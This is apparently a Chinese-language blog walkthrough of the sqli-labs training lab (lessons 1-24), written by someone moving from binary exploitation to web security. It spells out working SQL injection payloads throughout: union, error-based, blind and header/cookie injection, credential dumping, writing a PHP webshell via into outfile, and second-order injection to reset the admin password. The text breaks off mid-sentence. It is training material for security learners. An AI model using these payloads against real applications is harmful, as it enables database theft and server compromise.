web靶场 sqli_labs 1~4
转方向感言:
- 很遗憾学了pwn那么久,因为福州没有pwn的就业,本人不想出省,老实说很扎心,改方向这个决定做的很艰难,但决定了要改就会一定要改下去,而且要做的更好,希望后面的学弟继续坚持。这篇博客作为一座里程碑,记录我web的成长和pwn的逝去。
sqli注入的基本知识具体看b站的这个视频2022b站最详细的sql注入 从入门到进阶
sqli-labs less 1~4
这篇博客以sqli-labs less4为例:
输入?id=1:
由于是新手,我们看看源码(这里将1~4的源码都放上去比对一下):
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";#less1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";#less2
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";#less3
$id = '"' . $id . '"';#less4,下面也是less4
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
可以看到’$id’、$id、(‘$id’)、(“$id”)四个区别
很明显less4要输入”)来截断:
如图页面有反应,这是没有查询结果的界面
接着测试有几个字段:
union的作用是将前面的语句和后面的语句化为同一句代码
要使union前面的代码没有输出结果,要将id改为-1,目的是输出后面我们的目的代码,如上图:输出2,3
将2改为database(),泄露库名为security:
用库名泄露表名:将3改为table_name from information_schema.tables where table_schema=‘security’ limit 3,1--+
limit n,m是取n+1行开始的m个数据
也可以这么写,则可以输出全部的表名:group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+
最后查看user的列名:1,database(),group_concat(username),from information_schema.columns where table_schema='security' and table_name='users' --+
最后读取用户名和密码:1,group_concat(username),group_concat(password) from security.users --+
结束
sqli-labs 5~7
报错注入演示:
第5-6题以第6题为例:
这里用到一个新函数:updatexml函数
首先查库名:?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
再查表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+
查列名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name ='users'and table_schema=database()),0x7e),1) --+
爆用户名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
爆密码:?id=1" and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
一句话木马与outfile的应用
0x01 outfile
前提
- 1、Mysql数据库中secure_file_priv参数的设置要允许对目录进行导入导出操作,在mysql里添上这句代码secure_file_priv=
- 2、Mysql对路径有读取的权限。
?id=1'))%20and%20(select%20count(*)%20from%20mysql.user)>0--+
回显正常则有权限
查库名:?id=-1')) union select 1,2,database() into outfile"D://phpstudy_pro//WWW//sqli-labs//Less-7//shell.php"--+
像这样会回显在你的文件里,其他语句同理代换这里就不写了
0x02 一句话木马与蚁剑的应用
前提
- 1、木马成功上传,未被拦截
- 2、攻击者知道木马的路径
- 3、攻击者上传的木马文件可以被web服务器执行
一句话木马解析:
例子:
1、php语句要写入到 中,这样网页才会识别这是一个php语句,然后网页再进一步解析该语句。
2、@的意思是即使执行错误,也不报错,继续执行。
3、$_POST是php语句中的超全局变量,意思就是a这个变量,用post的方法接收。(传输数据的两种方法:GET、POST。POST是在消息体存放数据,GET是在消息头的URL路径里存放数据)
4、eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
5、综上所述,这句代码的意思就是用post方法接收变量a,把变量a里面的字符串当做php代码来执行。所以我们想要执行什么语句我们直接将其放入到变量a,用POST传输给一句话木马就可以。
用蚁剑操作可以看见我们的文件夹,如果是远程服务器,意味着我们攻陷了服务器
sqli-labs less-8~9
布尔盲注:
概念:布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息。
布尔盲注我们要用到几个函数:
- substr(str,字符串开始位置,字符串截取个数)
- left(str,从左往右的截取个数)
- right(str,从右往左的截取个数)
- ascii()将str转换为ascll码
- length()返回str长度
这里只提到一下这个方法,具体应用等到会写脚本时会具体讲解
下面是less-8的一些解题代码:
查看库名长度:?id=1' and length(database())>0
爆破库名:?id=1' and left(database(),1)>'m' –+
一个一个尝试得到security
爆破表名:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 –+
爆破列名:?id=1' and left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)>'m' –+
拆解字段:?id=1'and ascii((select id from emails limit 0,1))>0 –+
时间盲注
概念:时间盲注:适用于页面不会随着输入语句的不同而发生变化,只会回显一种界面。利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
函数:
- sleep(int)过int后响应
- if(expr1,expr2,expr3)expr1是true,则返回expr2,或者返回expr3
为了更准确的看秒数我们可以开bp也可以如下操作:
1、右击黑色处选择检查
2、选择网络即可查看秒数
要用时间盲注的题目一般关闭了报错和回显,没有任何有用的信息,这时只能通过时间来判断
以下给出部分做题代码:
判断闭合类型:?id=1 and sleep(2)--+
发现加载时间没有2秒?id=1' and sleep(2)--+
发现有延迟2秒,判断为’闭合
接下来爆破库名:?id=1 and if(left(database(),1)='s',sleep(2),1)--+
接下来将left(database(),1)=’s’给换成其他语句就行了,就不一一例举了
sqli-labs less-18~22
HTTP头注入原理
HTTP(HyperTextTransferProtocol)是超文本传输协议的缩写,它用于传送WWW方式的数据,关于HTTP 协议的详细内容请参考RFC2616。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求,请求头包含请求的方法、URI、协议版本、以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码加上包含服务器信息、实体元信息以及可能的实体内容。
通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。HTTP的头域包括通用头,请求头,响应头和实体头四个部分。每个头域由一个域名,冒号(:)和域值三部分组成。域名是大小写无关的,域值前可以添加任何数量的空格符,头域可以被扩展为多行,在每行开始处,使用至少一个空格或制表符。
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。这里我们讲其中的Cookie注入、Referer注入、User-Agent注入
sqli-labs less-18
新的考点
这题和之前的关卡都不一样,不管输入什么都没有任何回显,这是因为用户名与密码的获取方式是post,而且采用了check_input处理,所以在这两个地方注入不行,源码如下:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
但是题目在登入后,回显了我们的IP地址和我们的User Agent,我们猜测注入点在此。
源码分析
$uagent = $_SERVER['HTTP_USER_AGENT'];这个就是获取我们User Agent的函数
……
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";#这是负责插入uagent的地方
insert……values……看这篇文章
bp抓包初体验
我们先抓取登录时的包:
我们将User Agent的值给改了,改成我们的报错注入语句' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or' ,再放包就可以看到报错出我们想要的信息了,**注:这里再updatexml前面用or,如果用and虽然不会出现注入错误,但是不知道为什么改了其他语句后我们的报错回显不出来,但是用or就行,有待考究**  这里网上有些说注释-- q、-+、#用不了,不是这个原因,这里是因为原来要传入'$uagent', '$IP', $uname三个值,如果提前在,‘1,1)’前注释了后面两个值就没了,和insert……values……函数格式不符,因此不能回显,我们加上or'将后面一个参数的第一个'给闭合了,这样就形成了在'$uagent'与 '$IP'之间插入了我们要的注入语句相当于
‘$uagent’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’$IP’, $uname`,别将后面的两个参数给注释了,剩下的就是更换语句就不列举了
sqli-labs less-19
第19关和第18关一样,只是注入点变成了reference,换一个注入点即可,不多说
cookie注入:less-20~22
less-20
cookie注入原理看这篇文章
先登入:
我们先看源码:
$cookee = $_COOKIE['uname'];
……
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
……
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
上面三句话可以看到这里uname就是用cookie进行传参,并且打印cookie,我们只要在第二句话将我们的报错注入语句加入进去,就可以在进行这句话时爆出我们想要的信息
试出闭合:admin'
发现会报错,加入admin' -- q
正常回显却确定单引号闭合
这里我只查库名admin' or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- q
可以看到爆出来了,接下来改改语句即可
less-21
第21关稍有不同,他的cookie进行了base64加密,源码如下:
cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
……
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
我们只需在网上找到base64的编码器将我们的语句进行编码,再向20题那样放入就行,试错和上面的方法是一样的结果为 ‘) 闭合
例如admin') or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- q
的编码是YWRtaW4nKSBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpLS0gcQ==
less-22
和less-21几乎一样只是闭合换成了 “
sqli-labs less-23
进来后界面很熟悉,先输入一个?id=1
输入?id=1'
发现报错,于是我们输入?id=1' and 1=1 -- q
报错?id=1' and 1=1 #
报错?id=1' and 1=1 --+
报错
这里展示源码:
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
对注释符进行了过滤,使它无法起作用
这里我们就要用其他方法绕过:?id=1' union select 1,2,3 and '1'='1
将原来的两个单引号分别闭合,相当于之间插入了一段我们的注入语句,成功绕过
这里要讲:order by这里不能查看列数只能通过上面的来查看,发现到4时会报错:
这个意思是这个函数返回了空
剩下的语句和以前一样,不多赘述
sqli-labs less-24
二次注入原理
- 定义:二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
- 原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。
源码分析
先看它的登入源码(截取有效部分):
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysql_real_escape_string函数对下列字符受影响:
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
也就是会对传入的username和password进行转码,使它注入无效,但在存入数据库时还是原来的数据
再看改密码源码:
发现只有username没被转义,得这里可以被利用,这题的主要思路就是获得管理员账号,这样就可以查看其他用户的信息。管理员账号一般是admin。if (isset($_POST['submit'])) { # Validating the user input........ $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']);
在登入页面我们注册一个账号:admin’#并登入进去
为什么?看源码:
我们注入完登入后就变成了”UPDATE users SET PASSWORD=’$pass’ where username=’admin’# and password=’$curr_pass’ “;$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
后面被注释了,相当于对admin账号的密码进行修改,再次用admin账号和密